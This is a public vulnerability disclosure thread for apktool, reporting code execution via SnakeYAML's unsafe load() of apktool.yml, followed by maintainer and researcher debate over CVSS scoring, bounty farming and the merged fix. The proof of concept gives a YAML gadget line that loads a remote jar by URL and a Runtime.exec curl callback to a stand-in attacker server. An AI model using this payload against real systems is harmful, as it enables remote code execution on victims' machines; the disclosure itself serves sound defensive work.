Command Injection in ibotpeaches/apktool

Valid

Reported on

Jan 31st 2022


Description

Arbitrary code execution when an APK is built with a malicious apktool.yml due to SnakeYAML's load() function

Proof of Concept

1: Modify apktool.yml

some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]]]]

2: Download the yaml-payload

git clone https://github.com/artsploit/yaml-payload
cd yaml-payload

3: Edit src/artsploit/AwesomeScriptEngineFactory.java:

Runtime.getRuntime().exec("curl http://127.0.0.1:8000/PWNED");

4: Compile the payload

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

5: Start the server (simulates an attacker) and run apktool (simulates a victim) to see the apktool load the malicious jar present at the URL the YAML file points to and execute it.

java -jar apktool_2.6.0.jar b app

Output (The malicious code, "curl http://127.0.0.1:8000/PWNED" is executed):

➜  yaml-payload git:(master) ✗ python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [20/Jan/2022 14:02:35] "GET /yaml-payload.jar HTTP/1.1" 200 -
127.0.0.1 - - [20/Jan/2022 14:02:35] "GET /yaml-payload.jar HTTP/1.1" 200 -
127.0.0.1 - - [20/Jan/2022 14:02:35] code 404, message File not found
127.0.0.1 - - [20/Jan/2022 14:02:35] "GET /PWNED HTTP/1.1" 404 -

Impact

This vulnerability is capable of arbitrary code execution if a user builds an APK from a directory containing a malicious apktool.yml file.

Suggested Fix

Construct the Yaml object using SafeConstructor https://dev.to/trexinc/how-to-prevent-a-potential-remote-code-execution-via-snakeyaml-deserialization-b60

Occurrences

Use SafeConstructor() here.

We are processing your report and will contact the ibotpeaches/apktool team within 24 hours. 5 months ago
haxatron modified the report
5 months ago
haxatron modified the report
5 months ago
haxatron modified the report
5 months ago
We have contacted a member of the ibotpeaches/apktool team and are waiting to hear back 5 months ago
Connor
5 months ago

Maintainer


Thanks - never heard of this service, but will take a look. Not sure this is very severe because the chance of modifying the apktool.yml would have to occur between time of disassembly and rebuild. If you had that amount of access to modify that file in that time frame, you would not do something like that.

Either way - the demo/poc looks cool and the suggested fix is appreciated. I'll see what I can do.

haxatron modified the report
5 months ago
haxatron
5 months ago

Researcher


Hi, thanks for the reply.

A possible attack scenario I can think of would be a user downloading an disassembled APK folder (via scp or through file shares) containing a malicious apktool.yml. If the user then proceeds to build an APK from this folder, code execution occurs. Though this is unlikely (Attack complexity is set to high).

Regarding severity, the original CVSS was CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H (7.0).

But I guess in order to host a folder containing a malicious apktool.yml on a network share from which the user implicitly trusts an attacker should have some privileges, so I have modified PR to be Low. CVSS is now CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H (6.7).

If you believe this to be valid, could you mark it as valid. And once you are ready with the fix, you may submit the fix.

Connor Tumbleson validated this vulnerability 5 months ago
haxatron has been awarded the disclosure bounty
The fix bounty is now up for grabs
Connor
5 months ago

Maintainer


Thanks - I replicate it. Not an easy solution since will have to map all allowed data types / options for the file. Marked it as verified, will look again when I have time.

We have sent a fix follow up to the ibotpeaches/apktool team. We will try again in 7 days. 5 months ago
We have sent a second fix follow up to the ibotpeaches/apktool team. We will try again in 10 days. 5 months ago
Connor
4 months ago

Maintainer


I've merged a fix that I believe resolves this. I could not just swap to SafeConstructor as Apktool does leverage loading yaml into classes, so I whitelisted everything that we needed. I believe this probably isn't as bullet-proof as the SafeConstructor, but resolves at least this PoC.

You may download a test build here - https://github.com/iBotPeaches/Apktool/actions/runs/1869036720, as well as seeing PR here - https://github.com/iBotPeaches/Apktool/pull/2760

--

This next part is not an attempt to attack you, but instead reflect on this experience with brutally honest truth. Apktool has earned $380 over a decade, of which I've spent $136 for needed domains and/or shared with the other contributor.

This means in the 10 years I've been supporting a project that has accumulated just over 10 million downloads has earned $244 profit for me. I don't do it for the money, but because I enjoy the challenge. Though as you might know or not, once you do something for a decade it might turn from a hobby to a task.

I don't really use Apktool anymore for either hobby or work, so everything I've done in the past 5 years is because I just enjoy supporting an open source project. So when I saw you (researcher) got $170 for finding something that I honestly believe was just a GitHub search it seems a bit odd. I would wish that money went towards helping fix one of the many bugs that plague the tool instead.

I'd love to proven wrong, but my guess based on your leaderboard on this site that you identify vulnerabilities that have an easy method of checking for a vulnerable state and just search GitHub. I did the same just now and found 44,000~ results for the same vulnerability that was identified here.

Now I imagine that Apktool is probably more popular than 99% of those affected projects so perhaps why this was targeted. So I'm fearful that this site has moved the focus of really identifying flaws in open source software and instead just bounty farming for as much $$$ as possible by taking known vulnerabilities and finding as many repos as possible to check for a vulnerability.

My guess since Huntr requires a good set of instructions and reproducible steps that projects that have a complex build process, may knowingly be vulnerable, but ignored due to the work required to prove vulnerable. As you know, Apktool is 1 command to build via gradle and you are good to go.

Next up is the assigned severity, which even after discussing with you only budged .3 down from 7.0. This is probably outside of the control of the researcher and might more point to a flaw with this process. Heartbleed got a 7.5 and Apktool got a 6.7 for this vulnerability is laughable. Now, I could be misunderstanding the severity between Huntr and the actual CVE severity so perhaps this entire point is moot.

I fully understand the implication of this vulnerability, but it requires an extreme level of access (r/w) of the affected system in order to modify a configuration file prior to build. If I honestly had write access to your system - would I really do this?

If this vulnerability could be packed into a compiled apk and be passed from decode -> configuration file -> build. This would be an exploit worth mentioning. Though as it stands today, I can't believe this got a 6.7 on a scale that I think should be treated as low as the scale possibly goes.

This is because we end up creating confusion for the non-technical and junior engineers of the world that every issue is crucial and must be resolved and treated as HIGH. Since trust me, if I get another ReDOS vulnerability rated extremely high for my build system that never ends up making it to the final application - I'm going to go crazy.

Though, ultimately I am conflicted because I think anything security wise should be fixed. However, when I look through this experience I believe it happened for bounty farming and mass spraying of vulnerabilities instead of a real experience with Apktool and passion for making a project more secure.

I did this dance a few years ago with an XXE issue, that was proven dangerous with intentionally bugged applications to identify who/what reverses your product. This was from a researcher and company that had the passion to track this down from a personal experience. They generated a clean report, we organized a fix over email - exchanged $0 and the software got more secure - an amazing experience.

So I thank you for finding this even if I don't agree with my perceived reason of why. Just a reminder again that this is my opinion of this changing industry and process and you just happened to be the researcher that triggered my response. So don't take it personally @haxatron.

@admin - Please zero out any money (I) get for fixing this.

haxatron
4 months ago

Researcher


Hi, thank you for feedback.

As for the CVSS, I follow the CVSS specification and the CVSS specification warranted at least a 6.7 (medium) for the CVSS (C:H/I:H/A:H for an arbitrary code execution. AC:H for difficulty of exploitation, PR:L for privileges required, UI:R for requirement of user interaction, AV:L as it occurs locally on the system, S:U for an unchanged scope. I do not agree with this but this is the lowest I can go when following the CVSS specification). As for your mentioned example Heartbleed, OpenSSL is a system which was used by almost HTTP server out there, the CVSS does NOT take the popularity of a system/tool into account. That is why Heartbleed was such a serious vulnerability. As for the exploitability of this, consider: i) on a multi-user system, it is possible for one to trick another to build a folder containing a malicious apktool.yml, escalating their privileges, ii) a folder with a malicious apktool.yml is download and built, the user expectation when running apktool is just building the apk, but with here, apktool has executed malicious code in the apktool.yml file. In the scenarios highlighted, there has been a change in security boundary.

As for the money, security researchers from companies get paid to do this work by their companies. But they don't say it to you publicly as huntr does, in which case I wish huntr would just stop posting the researcher bounty, and only make the fix bounty available to the maintainer as it is information which could cause strife between maintainers and researchers. Like the above, $0 is being exchanged between me and you, you can even earn $34 from huntr if you submit the fix and select yourself as the fixer.

Security researchers from companies also work as teams and have more capabilities in identifying vulnerable applications being affected. I am just a one man team, so I do everything necessary (providing a clean, reproducible PoC, as well as an impact statement) according to the best of my ability.

Grepping for vulnerable code, or the more technical term sinks , is not as easy as you'd expect. Identifying the sink is a first step, actually triggering it and tracing the code to find the source is the other, more difficult task. This is why I do not purely use code grepping tools to identify vulnerabilities in applications (I only use them sometimes [for 20% of my reports]). Believe it or not, this report was not a result of code-grepping, but rather the realisation that apktool uses apktool.yml files when building APKs and then putting together that YAML files are dangerous and have the potential to load malicious code.

I appreciate your feedback. I actually use apktool for CTFs (for use in decompilation and modification of .smali files in APKs and then rebuilding them), so thank you for providing this wonderful to use tool.

haxatron
4 months ago

Researcher


I will retest your fix tomorrow (when I have more time)

haxatron
4 months ago

Researcher


Can confirm the fix works

Connor
4 months ago

Maintainer


Thanks for testing. I'm unsure if I have to release a new version of the tool or just have the fix version committed to proceed at this time.

haxatron
4 months ago

Researcher


I think you have to release a new version. Additionally I forgot to mention that you have an alternative CVSS string you can go ahead and contact the @admin, and they will replace it for you.

Jamie Slome
4 months ago

Admin


@ibotpeaches - I have zeroed the fix bounty for you!

Jamie Slome
4 months ago

Admin


Also, regarding the CVSS, let me know what vector string/severity you would like me to update the report to, and we will be more than happy to.

Just for reference, as a maintainer, you are able to edit the severity/CVSS of the report pre-validation.

We have sent a third and final fix follow up to the ibotpeaches/apktool team. This report is now considered stale. 4 months ago
Connor
4 months ago

Maintainer


Thanks for the help. Unfortunately, while I have a strong opinion. I'm not versed enough in the CVSS scale to recommend a new value without a good deal of research into what makes up the score.

I'll cut a new release this weekend and close this out.

Jamie Slome
4 months ago

Admin


Connor, not to worry!

@haxatron, perhaps we set this to Low/Info? Would you be able to suggest a CVSS vector string that would affect the score to < 1?

haxatron
4 months ago

Researcher


Following the CVSS spec, its not possible. Keep in mind that this vulnerability can be exploited via input to the CLI, albeit requiring high exploitation requirements (see the 2 scenarios documented above), and the vulnerable function involved is not an internal function.
I think it may be better to just remove the CVE for this report given that there wasn't any CVE for the XXE vulnerability in apktool previously reported to the maintainer by the researchers from other companies.

Jamie Slome
4 months ago

Admin


Removed CVE and shifted score to 0 at the maintainer request with the following vector:

        "attack_complexity": "H",
        "attack_vector": "L",
        "availability": "N",
        "confidentiality": "N",
        "integrity": "N",
        "privileges_required": "L",
        "scope": "U",
        "user_interaction": "R"
Connor Tumbleson confirmed that a fix has been merged on 406571 4 months ago
Connor Tumbleson has been awarded the fix bounty
MetaInfo.java#L50 has been validated
Connor
4 months ago

Maintainer


Thanks all done. I didn't expect the CVE to be removed entirely, so I may have some old commits pointing to whatever ends up getting CVE-2022-0476, but no worries now. We can call this resolved.

to join this conversation